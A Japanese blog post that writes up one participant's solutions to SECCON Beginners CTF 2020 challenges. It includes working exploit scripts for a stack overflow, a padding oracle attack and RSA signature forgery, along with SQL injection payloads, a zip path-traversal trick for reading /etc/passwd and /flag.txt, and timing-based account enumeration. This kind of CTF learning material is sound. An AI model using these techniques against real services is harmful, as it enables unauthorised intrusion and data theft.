LoginSignup
3
3

More than 3 years have passed since last update.

Beginners CTF 2020 writeup

Posted at

概要

Beginners CTF 2020 に1人チームで参加した。

第3回 SECCON Beginners CTF(5月23日)登録開始しました - SECCON2019

23問中14問解くことができ、2466点で34位(/1009)だった。

Score over Time

解けた問題

Pwn

Beginner's Stack

ELFファイルが与えられ、それが動いていると推測できるサーバーが用意された。
ELFファイルは、tdm-gccobjdumpを用いることで、
普通に-dオプションを用いるだけで逆アセンブルを行えた。

また、サーバーに接続すると、以下のような出力が得られた。

Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffdd57de700 | 0x00007f91e5a809a0 | <-- buf
                   +--------------------+
0x00007ffdd57de708 | 0x0000000000000000 |
                   +--------------------+
0x00007ffdd57de710 | 0x0000000000000000 |
                   +--------------------+
0x00007ffdd57de718 | 0x00007f91e5c99170 |
                   +--------------------+
0x00007ffdd57de720 | 0x00007ffdd57de730 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffdd57de728 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffdd57de730 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffdd57de738 | 0x00007f91e56a0b97 | <-- return address (main)
                   +--------------------+
0x00007ffdd57de740 | 0x0000000000000001 |
                   +--------------------+
0x00007ffdd57de748 | 0x00007ffdd57de818 |
                   +--------------------+

Input:

この情報をもとに、bufに適当な情報を書き込むことでwinを呼べばよさそうである。
また、逆アセンブルの結果より、bufへの書き込み(入力の読み込み)はvulnの中で行われているようである。

return address (vuln)の値はmain関数内のvulnの呼び出しの次の命令のアドレスになるはずであり、
そこからwinまでのアドレスの差は一定だと考えられた。

  400849:   e8 59 ff ff ff          callq  4007a7 <vuln>
  40084e:   48 8d 3d 40 03 00 00    lea    0x340(%rip),%rdi        # 400b95 <_IO_stdin_used+0x45>
0000000000400861 <win>:
  400861:   55                      push   %rbp
  400862:   48 89 e5                mov    %rsp,%rbp
  400865:   48 83 ec 10             sub    $0x10,%rsp
  400869:   48 89 e0                mov    %rsp,%rax

これに基づき、saved rbp (vuln)の値を維持しつつ、
return address (vuln)の値をreturn address (vuln)の値に基づいて補正したwinの位置にするようにした。

すると、

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

と出てしまった。(hack.py:省略)
そこで、飛ばす先を400861ではなく、プロローグを飛ばした400865にした。
すると、固まるようになってしまった。
そこでwinの中身を調べると、system("/bin/sh");を実行しているようであった。
これに基づき、シェルに渡すコマンドを送って操作するようにしたところ、flagを得ることができた。

hack2.py
import sys
import struct
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("bs.quals.beginners.seccon.jp", 9001))
sock_data = ""

while "Input: " not in sock_data:
    sock_data += sock.recv(4096).decode()

print(sock_data)

rbp = 0
ret_addr = 0

for line in sock_data.split("\n"):
    if "saved rbp (vuln)" in line:
        rbp = int(line.split("|")[1].strip()[2:], 16)
    elif "return address (vuln)" in line:
        ret_addr = int(line.split("|")[1].strip()[2:], 16)

if rbp == 0 or ret_addr == 0:
    print("error!")
    sys.exit(1)

win_addr = ret_addr + 0x400865 - 0x40084e

data = b"12345678123456781234567812345678" + struct.pack("<QQ", rbp, win_addr)

sock.sendall(data)

sock.sendall(b"\n")
sock.sendall(b"pwd\n")
sock.sendall(b"ls\n")
sock.sendall(b"cat flag.txt\n")
sock.sendall(b"exit\n")

while True:
    got = sock.recv(4096)
    if got == b'':
        break
    else:
        sys.stdout.write(got.decode())

sock.close()
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

Beginner's Heap

サーバーが用意されている。このサーバーでは以下のことができる。

  • 領域Aにデータを書き込む
  • 領域Bを確保し、データを書き込む
  • 領域Bを開放する
  • 領域Aのまわりの様子を表示する
  • tcacheの情報を表示する
  • ヒントを出力する

また、__free_hookwinの値が提示され、winを呼び出せば成功であると書かれている。

試行錯誤の過程はよく覚えていないので結論だけ書くと、以下の手順でwinを呼び出すことが可能である。

  1. 領域Bを確保し、すぐに開放する。するとtcacheに領域Bがあった場所のアドレスが乗る。
  2. 領域Aへのデータの書き込みを用い、以下のデータを書き込む。
    すると、なぜかtcacheにある領域Bがあった場所のアドレスの次に__free_hookの値が接続される。
    • 領域Bがあった場所の8バイト前に、0x0000000000000021 (書き込まれている値を維持)
    • 領域Bがあった場所に、提示された__free_hookの値
  3. 領域Bを確保する。するとtcacheから領域Bがあった場所のアドレスが消え、__free_hookの値が先頭になる。
  4. 領域Aへのデータの書き込みを用い、以下のデータを書き込む。
    すると、なぜか通常領域Bを開放する時に行われるtcacheの更新が行われなくなる。
    • 領域Bがあった場所の8バイト前に、0x00000000000000C1
    • 領域Bがあった場所に、0x0000000000000000
  5. 領域Bを開放する。前の手順の影響でtcacheは変化しない。
  6. 領域Bを確保し、winの値を書き込む。
    このとき、tcacheにある__free_hookの値が領域Bのアドレスとして用いられる。
  7. 領域Bを開放する。__free_hookに値を書き込んでfree()したからか、winが呼び出される。
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}

Crypto

R&B

Pythonのソースコードとエンコードされたflag(文字列)が与えられる。

ソースコードを読むと、エンコードは
「"rot13"をして先頭にRをつける」「"base64"をして先頭にBをつける」
の2種類の操作を適当な順番で繰り返したものであるとわかる。
"rot13"は英文字をrot13、それ以外はそのままの変換をし、"base64"はBase64エンコードをする操作であると推測し、
逆変換を行う以下のプログラムを書いた。

decode.py
import base64

data = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=="

code_sa = ord("a")
code_sz = ord("z")
code_la = ord("A")
code_lz = ord("Z")

while True:
    print(data)
    if data[0] == 'R':
        next = ""
        for c in data[1:]:
            code = ord(c)
            if code_sa <= code and code <= code_sz:
                next += chr((code - code_sa + 13) % 26 + code_sa)
            elif code_la <= code and code <= code_lz:
                next += chr((code - code_la + 13) % 26 + code_la)
            else:
                next += c
        data = next
    elif data[0] == 'B':
        data = base64.b64decode(data[1:]).decode()
    else:
        break
ctf4b{rot_base_rot_base_rot_base_base}

Noisy equations

Pythonのソースコードが与えられ、アクセスするとその出力が得られるサーバーが用意された。

ソースコードを読むと、「可変の乱数列とflagの内積+固定の乱数」をflagの文字数個計算し、
「可変の乱数列」と計算結果が出力されることがわかる。
これは、可変の乱数列をcoeff、固定の乱数をsomething、計算結果をanswerとすると、
coeff * flag + something = answerと表現できる。
coeffanswerは可変、somethingは固定なので、2回実行してcoeff1coeff2answer1answer2を得ると、
(coeff1 - coeff2) * flag = (answer1 - answer2)という計算でsomethingを除去することができる。
あとは普通に連立方程式を解けば良い。
big primes for youで生成した素数を用い、整数の演算で解くことにした。

solve.py
# big primes for you https://bigprimes.org/
mod_by = 459848412004946274356306485183359857361032742491896923629585255952493922412208486825240550011238935874684326642290944063500265214123667249152728042146109455850538580161790983896495562413130932101198508814722197148994345953602613606320984766332108361272858404562217425163294023722198155630685698344687

import sys

def inv(value):
    ppl = mod_by
    ppr = 0
    pl = value
    pr = 1

    while pl > 1:
        keisu = ppl // pl
        nl = ppl % pl
        nr = (ppr - pr * keisu) % mod_by

        ppl = pl
        pl = nl
        ppr = pr
        pr = nr

    if pl == 1:
        return pr
    else:
        print("error")
        sys.exit(1)

def read_file(file):
    f = open(file, "r")
    ret = f.readlines()
    f.close()
    return ret

data1 = read_file("data1.txt" if len(sys.argv) < 2 else sys.argv[1])
data2 = read_file("data2.txt" if len(sys.argv) < 3 else sys.argv[2])

coeffs1 = [[int(x) for x in y.split(", ")] for y in data1[0].strip()[2:-2].split("], [")]
coeffs2 = [[int(x) for x in y.split(", ")] for y in data2[0].strip()[2:-2].split("], [")]

answers1 = [int(x) for x in data1[1].strip()[1:-1].split(", ")]
answers2 = [int(x) for x in data2[1].strip()[1:-1].split(", ")]

coeffs = [[(coeffs1[i][j] - coeffs2[i][j]) % mod_by for j in range(len(coeffs1[i]))] for i in range(len(coeffs1))]
answers = [(answers1[i] - answers2[i]) % mod_by for i in range(len(answers1))]

for i in range(len(coeffs)):
    if coeffs[i][i] == 0:
        print("bad luck")
        sys.exit(1)
    inv_value = inv(coeffs[i][i])
    if (coeffs[i][i] * inv_value) % mod_by != 1:
        print("bug")
        sys.exit(1)
    for j in range(len(coeffs[i])):
        coeffs[i][j] = (coeffs[i][j] * inv_value) % mod_by
    answers[i] = (answers[i] * inv_value) % mod_by
    for j in range(i + 1, len(coeffs)):
        value = coeffs[j][i]
        for k in range(len(coeffs[j])):
            coeffs[j][k] = (coeffs[j][k] - coeffs[i][k] * value) % mod_by
        answers[j] = (answers[j] - answers[i] * value) % mod_by

for i in range(len(coeffs) - 1, -1, -1):
    for j in range(i - 1, -1, -1):
        answers[j] = (answers[j] - answers[i] * coeffs[j][i]) % mod_by

print(answers)

answer2 = ""
for a in answers:
    answer2 += chr(a)

print(answer2)
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}

RSA Calc

Pythonのソースコードが与えられ、それが動いていると考えられるサーバーが用意された。

サーバーには Sign / Exec / Exit のメニューがあった。
Signを選ぶと、文字列を入力してそれに対応するデータ(signature)を得ることができるが、
Fまたは1337を含む文字列は弾かれるようであった。

Execを選ぶと、カンマ区切りの逆ポーランド記法の式の計算ができるようであった。
そして、これを用い、F(1337)すなわち1337,Fの計算をすればflagが得られるようであった。
また、式とともにsignatureの入力も要求され、式とsignatureが対応したものでなければ弾かれるようであった。

したがって、直接入力せずに1337,Fに対応するsignatureを求められればいいことがわかる。
なお、1337は計算で作れそうであるが、Fは厳しそうである。

生成の仕組みを詳しく見ていく。
接続すると、最初にNの値が出力される。
signatureの生成は、dataを入力文字列の数値表現として、signature = (data ** d) mod Nである。
RSA暗号運用でやってはいけない n のこと #ssmjp
を参考にすると、これはm = (c ^ d) mod Nの形であり、(ほぼ)任意のcに対応するmを求めることができるので、
LSB Decryption Oracle Attackが使えそうだと思った。
しかし、よく見るとmの偶奇だけではなく全体が得られるため、
RSAに対する適応的選択暗号文攻撃とパディング方式 - ももいろテクノロジー
で紹介されているように、適当な係数Xを用意することで、(X*data)**d == (X**d) * (data**d)なので、
Y = (X ** d) mod NおよびZ = ((X*data) ** d) mod Nを用いてsignature = Z / Yで求めることができる。
このとき、今回modを取る割る数は素数ではないので、
Yの逆元を拡張ユークリッドの互除法で求めて掛けることで割り算を行う。

decode.py
import sys
import struct
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("rsacalc.quals.beginners.seccon.jp", 10001))
sock_buffer = ""

def sock_readline():
    global sock_buffer
    while "\n" not in sock_buffer:
        sock_buffer += sock.recv(4096).decode()
    splitted = sock_buffer.split("\n", 2)
    sock_buffer = splitted[1] if len(splitted) > 1 else ""
    return splitted[0]

n_line = sock_readline()
if n_line[0:3] != "N: ":
    print("received following line instead of N:")
    print(n_line)
    sock.close()
    sys.exit(1)

N = int(n_line[3:])

def get_decoded(enc):
    string_version = b""
    enc2 = enc
    while enc2 > 0:
        string_version = struct.pack("B", enc2 & 0xff) + string_version
        enc2 >>= 8
    if b'\n' in string_version or b'\r' in string_version:
        print("error: newline in encoded")
        sock.close()
        sys.exit(1)
    # nazeka wakete nagete agenaito katamaru
    sock.sendall(b'1\n')
    sock.sendall(string_version + b'\n')
    while True:
        line = sock_readline()
        if "Signature: " in line:
            return int(line.split("Signature: ")[-1], 16)

e = 65537
c = 0x313333372C46 # 1337,F

mult = 0xdeadbeef

mult_sig = get_decoded(mult)
multed_sig =get_decoded(mult * c)

# multed_sig / mult_sig (mod N)

ppl = N
ppr = 0
pl = mult_sig
pr = 1

while pl > 1:
    keisu = ppl // pl
    nl = ppl % pl
    nr = (ppr - pr * keisu) % N

    ppl = pl
    pl = nl
    ppr = pr
    pr = nr

if pl == 1:
    print(hex(multed_sig * pr % N))
else:
    print("error")

sock.close()
ctf4b{SIgn_n33ds_P4d&H4sh}

Encrypter

WebページのURLが与えられた。

Webページには Encrypt / Decrypt / Encrypted flag の3機能があるようだった。

Encryptを指定してEncrypt/Decryptボタンを押すと、base64と思われる文字列が出力された。
この出力文字列は、Inputの文字列がある程度長くなるごとに長くなるようだった。
また、出力される文字列はInputの文字列が同じでも毎回変わった。
base64デコードした時の長さは16バイトの倍数になっているようであった。

Encrypted flagを指定してEncrypt/Decryptボタンを押すと、Encryptと同様の文字列が出力された。
この出力文字列の長さはInputによらず一定と推測でき、文字通り暗号化されたflagであると予想できた。

Decryptは、InputにEncryptやEncrypted flagで出力された文字列を入れてEncrypt/Decryptボタンを押すと、
"ok. TODO: return the result without the flag"と出力された。
また、Inputの文字列を少し変えてみたとき、文字列の前の方を書き換えても同じメッセージが出るが、
後ろの方を書き換えると"error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt"と出るようであった。

「EVP_DecryptFinal_ex」でググった結果、
OpenSSLを使った暗号化 - kkAyatakaのメモ帳。
などが見つかった。
このサイトではAESを使っているようだったので、問題で使われているのもAESの可能性があると考えた。
もしAESが使われており、後ろの方を書き換えたときだけエラーになるのがパディングが壊れているからであるとすれば、
Padding Oracle Attackが使えそうだと思った。

WebページのHTMLより、このサイトの操作は/encrypt.phpPOSTしており、
開発者ツールよりデータはJSON形式で投げていることがわかった。
そこで、それに基づいて実装を行った。

hoge2.pl
#!/usr/bin/perl

use strict;
use warnings;
use Socket;
use MIME::Base64;

my $host = "encrypter.quals.beginners.seccon.jp";
my $port = 80;

my $addr = sockaddr_in($port, inet_aton($host));

my $sock;
socket($sock, PF_INET, SOCK_STREAM, getprotobyname("tcp")) or die;
connect($sock, $addr) or die;
binmode($sock);
select($sock); $| = 1; select(STDOUT); # no buffering

sub decode {
    my $data = $_[0];
    my $encoded = encode_base64($data);
    chomp($encoded);
    my $data2 = "{\"mode\":\"decrypt\",\"content\":\"$encoded\"}";

    print $sock "POST /encrypt.php HTTP/1.0\r\n";
    print $sock "Host: $host\r\n";
    print $sock "Connection: keep-alive\r\n";
    print $sock "Content-Length: " . length($data2) . "\r\n";
    print $sock "\r\n";
    print $sock $data2;

    my $ret = "";
    for(;;) {
        my $buffer;
        read $sock, $buffer, 1;
        $ret .= $buffer;
        if ($ret =~ /Content-Length:\s*(\d+)\r\n/i && index($ret, "\r\n\r\n") >= 0) {
            my $elen = int($1);
            my $alen = length($ret) - index($ret, "\r\n\r\n") - 4;
            if ($alen >= $elen) { last; }
        }
    }

    if ($ret =~ /Connection:\s*close/i) {
        close $sock;
        socket($sock, PF_INET, SOCK_STREAM, getprotobyname("tcp")) or die;
        connect($sock, $addr) or die;
        binmode($sock);
        select($sock); $| = 1; select(STDOUT); # no buffering
    }

    return $ret;
}

# "hello, world" -> aGVsbG8sIHdvcmxk
#my $data = decode_base64("1m0xfX+ht1MCvxmS0gDh7H2KNgh4TXwfZLVfIxYjDTE=");

# Encrypted flag
my $data = decode_base64("MOzlrluinL7hPRVRGTt55J7csZ9Lutik6Vnuqu2NbLbHvwoe3MGgtdrjXbTqxP09o8D4UBZork0fle5qY6PIiQ==");

my $start_time = time;

my @data_array = unpack("C*", $data);
my @decoded_array = ();
my @orig_array = ();
for (my $i = 0; $i < @data_array - 16; $i++) {
    push(@orig_array, $data_array[$i]);
    push(@decoded_array, 0);
}

for (my $offset = 0; $offset < @decoded_array; $offset += 16) {
    for (my $p = 15; $p >= 0; $p--) {
        for (my $i = $p + 1; $i < 16; $i++) {
            $data_array[$offset + $i] = $data_array[$offset + $i] ^ (16 - ($p + 1)) ^ (16 - $p);
        }
        my $found = -1;
        my $multi = 0;
        for (my $i = 0; $i < 256; $i++) {
            $data_array[$offset + $p] = $i;
            my $data_str = pack("C*", @data_array);
            my $test = &decode(substr($data_str, $offset, 32));
            if (index($test, "TODO") >= 0) {
                if ($found < 0) { $found = $i; } else { $multi = 1; }
            }
        }
        if ($found < 0) {
            die "not found\n";
        }
        if ($multi != 0) {
            if ($p == 15) {
                print "multiple found, retry...\n";
                $data_array[$offset + $p - 1] = ($data_array[$offset + $p - 1] + 1) % 256;
                $p++;
                next;
            } else {
                die "multiple found\n";
            }
        }
        $data_array[$offset + $p] = $found;
        $decoded_array[$offset + $p] = (16 - $p) ^ $orig_array[$offset + $p] ^ $found;
        printf("%d / %d found\n", $offset + (16 - $p), @data_array - 16);
    }
}

close $sock;

my $pad = $decoded_array[@decoded_array - 1];
if ($pad > 16 || $pad == 0) {
    die "padding error\n";
} else {
    for (my $i = 1; $i <= $pad; $i++) {
        if ($decoded_array[@decoded_array - $i] != $pad) {
            die "padding error\n";
        }
    }
}

my $result = substr(pack("C*", @decoded_array), 0, @decoded_array - $pad);

print "\n$result\n";

printf("\ntook %ds\n", time() - $start_time);

このプログラムにより、約12分でflagが求まった。
行儀が悪かったりエラー処理が甘かったりする気がするが、今回は動いたのでヨシ!
また、keep-aliveを使用することで、毎回closeしていたhoge.pl(省略)に比べて約2倍速くなった。

とはいえ、「リモートから総当たりをしないと解けない問題はありません。」という条件があるにもかかわらず、
このような総当りを行ってしまい、テストも含めて数万発程度?のクエリを投げつけてしまったのはおかしいのでは…?
他に解く人が少なそうな深夜に行ったし、障害も報告されていないようなのでヨ……………シ……………?????

ctf4b{p4d0racle_1s_als0_u5eful_f0r_3ncrypt10n}

Web

Spy

Webページのソースコードとユーザー名の候補リストが与えられるので、
Webページに存在するユーザー名の集合を当てる問題。

ソースコードを読むと、ユーザー名が存在する場合、
かつその場合のみ"adds salt and performs stretching so many times."をしている。
これは時間がかかりそうな処理である。
さらに、Webページではご丁寧に処理にかかった時間[sec]も表示してくれている。

ユーザー名ごとにこの時間(それぞれ1回試行)をまとめると、以下のようになった。

Arthur          0.0003479
Barbara         0.0003055
Christine       0.0003229
David           0.0002289
Elbert          0.6258968
Franklin        0.0002851
George          0.4262376
Harris          0.0002954
Ivan            0.0002989
Jane            0.0003361
Kevin           0.0003196
Lazarus         0.3334227
Marc            0.3122703
Nathan          0.0003351
Oliver          0.0002938
Paul            0.0002858
Quentin         0.0002866
Randolph        0.0003246
Scott           0.0003313
Tony            0.5475676
Ulysses         0.0003235
Vincent         0.0003615
Wat             0.0003503
Ximena          0.6145919
Yvonne          0.3931053
Zalmon          0.0002842

このうち明らかに時間が長くなっているものを集めた
{Elbert, George, Lazarus, Marc, Tony, Ximena, Yvonne}が答えである。

ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

Tweetstore

WebページのURLと、そのソースコードと考えられるファイルが与えられた。

ソースコードを見ると、postgresを使っており、DBのユーザー名がflagになっているようであった。
また、クエリは'\'に置換しただけで文字列を直接SQL文に埋め込んでいた。
そのため、クエリに\'を含めることで、この置換により\\'となり、文字列を切ることが可能となる。

純正のSQLの一部が

    var sql = "select url, text, tweeted_at from tweets"

となっているのに合わせ、
検索クエリを例えば\' union select text, url, tweeted_at from tweets --とすることで、
おかしい検索結果を出すことが可能になった。

postgreでユーザー名を調べる方法を探したところ、
PostgreSQL/PostgreSQLのユーザ一覧情報を参照する方法 - 調べる.DB
があった。
しかし、以下の検索クエリは成功しなかった。

  • \' union select usename, usename, usename from pg_user --
  • \' union select usename, usesysid, passwd from pg_shadow --

他の方法を探すと、その他の関数があった。
これを用い、\' union select text, user, tweeted_at from tweets --というクエリを用いることで、
ユーザー名(flag)を出すことに成功した。

ctf4b{is_postgres_your_friend?}

unzip

WebページのURLと、そのソースコードと考えられるファイルが与えられた。

ソースコードを見ると、そのセッションで展開したファイル名のファイルのみを見られるようになっているようだった。
例えばファイル123456789012345678901.txt(中身は空)を入れたzipファイルを作り、
バイナリエディタでzipファイル中に格納されたファイル名(2箇所)を
../../../../../etc/passwdに書き換えてアップロードすることで、/etc/passwdの内容を見ることができた。

さらに、途中でヒントとしてdocker-compose.ymlが追加された。
その中に

    volumes:
      - ./public:/var/www/web
      - ./uploads:/uploads
      - ./flag.txt:/flag.txt

という部分があったため、flagは/flag.txtにあると予想できた。
そこで、空のファイルaabaabaabaabaabflag.txtを入れたzipファイルを作り、
バイナリエディタでzipファイル中に格納されたファイル名(2箇所)を
../../../../../flag.txtに書き換えてアップロードすることで、/flag.txtの内容を見ることができた。

ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}

Reversing

mask

ELFファイルが与えられた。
tdm-gccobjdumpを用いることで、
普通に-dオプションを用いるだけで逆アセンブルを行えた。

    11cd:   48 8d 85 30 ff ff ff    lea    -0xd0(%rbp),%rax
    11d4:   48 89 d6                mov    %rdx,%rsi
    11d7:   48 89 c7                mov    %rax,%rdi
    11da:   e8 51 fe ff ff          callq  1030 <strcpy@plt>
    11df:   48 8d 85 30 ff ff ff    lea    -0xd0(%rbp),%rax
    11e6:   48 89 c7                mov    %rax,%rdi
    11e9:   e8 62 fe ff ff          callq  1050 <strlen@plt>
    11ee:   89 85 2c ff ff ff       mov    %eax,-0xd4(%rbp)

strcpy()strlen()を使っていることから、0xd0に入力文字列、0xd4にその長さを格納していると推測できる。

    1200:   c7 85 28 ff ff ff 00    movl   $0x0,-0xd8(%rbp)
    1207:   00 00 00 
    120a:   eb 4c                   jmp    1258 <main+0xdf>
    120c:   8b 85 28 ff ff ff       mov    -0xd8(%rbp),%eax
    1212:   48 98                   cltq   
    1214:   0f b6 84 05 30 ff ff    movzbl -0xd0(%rbp,%rax,1),%eax
    121b:   ff 
    121c:   83 e0 75                and    $0x75,%eax
    121f:   89 c2                   mov    %eax,%edx
    1221:   8b 85 28 ff ff ff       mov    -0xd8(%rbp),%eax
    1227:   48 98                   cltq   
    1229:   88 94 05 70 ff ff ff    mov    %dl,-0x90(%rbp,%rax,1)
    1230:   8b 85 28 ff ff ff       mov    -0xd8(%rbp),%eax
    1236:   48 98                   cltq   
    1238:   0f b6 84 05 30 ff ff    movzbl -0xd0(%rbp,%rax,1),%eax
    123f:   ff 
    1240:   83 e0 eb                and    $0xffffffeb,%eax
    1243:   89 c2                   mov    %eax,%edx
    1245:   8b 85 28 ff ff ff       mov    -0xd8(%rbp),%eax
    124b:   48 98                   cltq   
    124d:   88 54 05 b0             mov    %dl,-0x50(%rbp,%rax,1)
    1251:   83 85 28 ff ff ff 01    addl   $0x1,-0xd8(%rbp)
    1258:   8b 85 28 ff ff ff       mov    -0xd8(%rbp),%eax
    125e:   3b 85 2c ff ff ff       cmp    -0xd4(%rbp),%eax
    1264:   7c a6                   jl     120c <main+0x93>
    1266:   8b 85 2c ff ff ff       mov    -0xd4(%rbp),%eax
    126c:   48 98                   cltq   
    126e:   c6 84 05 70 ff ff ff    movb   $0x0,-0x90(%rbp,%rax,1)
    1275:   00 
    1276:   8b 85 2c ff ff ff       mov    -0xd4(%rbp),%eax
    127c:   48 98                   cltq   
    127e:   c6 44 05 b0 00          movb   $0x0,-0x50(%rbp,%rax,1)

0xd8をループカウンタとして、入力文字列と0x75をandしたデータを0x90に、
入力文字列と0xebをandしたデータを0x50に格納していることが読み取れる。

    129e:   48 8d 85 70 ff ff ff    lea    -0x90(%rbp),%rax
    12a5:   48 8d 35 81 0d 00 00    lea    0xd81(%rip),%rsi        # 202d <_IO_stdin_used+0x2d>
    12ac:   48 89 c7                mov    %rax,%rdi
    12af:   e8 bc fd ff ff          callq  1070 <strcmp@plt>
    12b4:   85 c0                   test   %eax,%eax
    12b6:   75 25                   jne    12dd <main+0x164>
    12b8:   48 8d 45 b0             lea    -0x50(%rbp),%rax
    12bc:   48 8d 35 88 0d 00 00    lea    0xd88(%rip),%rsi        # 204b <_IO_stdin_used+0x4b>
    12c3:   48 89 c7                mov    %rax,%rdi
    12c6:   e8 a5 fd ff ff          callq  1070 <strcmp@plt>
    12cb:   85 c0                   test   %eax,%eax
    12cd:   75 0e                   jne    12dd <main+0x164>
    12cf:   48 8d 3d 93 0d 00 00    lea    0xd93(%rip),%rdi        # 2069 <_IO_stdin_used+0x69>
    12d6:   e8 65 fd ff ff          callq  1040 <puts@plt>
    12db:   eb 0c                   jmp    12e9 <main+0x170>
    12dd:   48 8d 3d a0 0d 00 00    lea    0xda0(%rip),%rdi        # 2084 <_IO_stdin_used+0x84>
    12e4:   e8 57 fd ff ff          callq  1040 <puts@plt>

上記の操作で得られた文字列をあらかじめ決められた文字列と比較し、その結果に応じて文字列を出力している。
2回の比較のいずれかで不一致が出れば12ddにジャンプして2084の文字列を出力し、
両方一致すれば2069の文字列を出力する。
ここで用いられている文字列は、ELFファイルからバイナリエディタで読み取ると、それぞれ

202d : atd4`qdedtUpetepqeUdaaeUeaqau
204b : c`b bk`kj`KbababcaKbacaKiacki
2069 : Correct! Submit your FLAG.
2084 : Wrong FLAG. Try again.

であった。よって、2個の文字列が一致するような入力がflagであると予想できる。
これに基づき、該当する入力を全探索するプログラムを書いた。

calc.c
#include <stdio.h>

int main(void) {
    const char* a = "atd4`qdedtUpetepqeUdaaeUeaqau";
    const char* b = "c`b bk`kj`KbababcaKbacaKiacki";
    int am = 0x75, bm = 0xeb;
    int i;
    for (i = 0; a[i] != '\0' && b[i] != '\0'; i++) {
        int answer = -1;
        int multi = 0;
        int j;
        for (j = 0; j < 256; j++) {
            if ((j & am) == (unsigned char)a[i] && (j & bm) == (unsigned char)b[i]) {
                if (answer < 0) {
                    answer = j;
                } else {
                    if (!multi) printf("[MULTIPLE]");
                    multi = 1;
                }
            }
        }
        if (answer < 0) {
            printf("[NONE]");
        } else {
            putchar(answer);
        }
    }
    putchar('\n');
    return 0;
}
ctf4b{dont_reverse_face_mask}

yakisoba

ELFファイルが与えられた。
tdm-gccobjdumpを用いることで、
普通に-dオプションを用いるだけで逆アセンブルを行えた。

     6af:   48 8d 3d 45 0a 00 00    lea    0xa45(%rip),%rdi        # 10fb <__cxa_finalize@plt+0xa8b>
     6b6:   31 c0                   xor    %eax,%eax
     6b8:   48 89 ee                mov    %rbp,%rsi
     6bb:   e8 a0 ff ff ff          callq  660 <__isoc99_scanf@plt>
     6c0:   85 c0                   test   %eax,%eax
     6c2:   74 1a                   je     6de <__cxa_finalize@plt+0x6e>
     6c4:   48 89 ef                mov    %rbp,%rdi
     6c7:   e8 54 01 00 00          callq  820 <__cxa_finalize@plt+0x1b0>
     6cc:   85 c0                   test   %eax,%eax
     6ce:   89 c3                   mov    %eax,%ebx
     6d0:   75 25                   jne    6f7 <__cxa_finalize@plt+0x87>
     6d2:   48 8d 3d 2e 0a 00 00    lea    0xa2e(%rip),%rdi        # 1107 <__cxa_finalize@plt+0xa97>
     6d9:   e8 52 ff ff ff          callq  630 <puts@plt>
     6de:   48 8b 54 24 28          mov    0x28(%rsp),%rdx
     6e3:   64 48 33 14 25 28 00    xor    %fs:0x28,%rdx
     6ea:   00 00 
     6ec:   89 d8                   mov    %ebx,%eax
     6ee:   75 17                   jne    707 <__cxa_finalize@plt+0x97>
     6f0:   48 83 c4 38             add    $0x38,%rsp
     6f4:   5b                      pop    %rbx
     6f5:   5d                      pop    %rbp
     6f6:   c3                      retq   
     6f7:   48 8d 3d 02 0a 00 00    lea    0xa02(%rip),%rdi        # 1100 <__cxa_finalize@plt+0xa90>
     6fe:   31 db                   xor    %ebx,%ebx
     700:   e8 2b ff ff ff          callq  630 <puts@plt>

scanf()により文字列を読み込んだ後、820を呼び出し、
その返り値が0なら1107の文字列を、非0なら1100の文字列を出力することが読み取れる。
ELFファイルをバイナリエディタで見ると、1107の文字列はCorrect!1100の文字列はWrong!である。
したがって、関数820の返り値が0になる文字列が正解であると考えられる。

関数820は一見長くて面食らうが、正解の文字列の最初はctf4b{になるはずであることを利用して動作を追っていくと、
ブロックごとに最初から1文字ずつ判定し、正しい文字であれば次のブロックに進む構造になっていることがわかる。
なお、条件分岐は「cmpのdestの値がsrcに比べてどうか」である。(例えば、jbeならdestがsrc以下ならジャンプする)

関数820の冒頭は、以下のような感じである。

     820:   0f b6 17                movzbl (%rdi),%edx
     823:   80 fa 63                cmp    $0x63,%dl
     826:   74 50                   je     878 <__cxa_finalize@plt+0x208>
     828:   76 2e                   jbe    858 <__cxa_finalize@plt+0x1e8>
     82a:   80 fa 96                cmp    $0x96,%dl
     82d:   b8 36 00 00 00          mov    $0x36,%eax
     832:   74 1f                   je     853 <__cxa_finalize@plt+0x1e3>
     834:   80 fa da                cmp    $0xda,%dl
     837:   b8 87 00 00 00          mov    $0x87,%eax
     83c:   74 15                   je     853 <__cxa_finalize@plt+0x1e3>
     83e:   80 fa 77                cmp    $0x77,%dl
     841:   b8 49 00 00 00          mov    $0x49,%eax
     846:   74 28                   je     870 <__cxa_finalize@plt+0x200>
     848:   b8 96 00 00 00          mov    $0x96,%eax
     84d:   c3                      retq   
     84e:   b8 8b 00 00 00          mov    $0x8b,%eax
     853:   f3 c3                   repz retq 
     855:   0f 1f 00                nopl   (%rax)
     858:   80 fa 30                cmp    $0x30,%dl
     85b:   b8 a5 00 00 00          mov    $0xa5,%eax
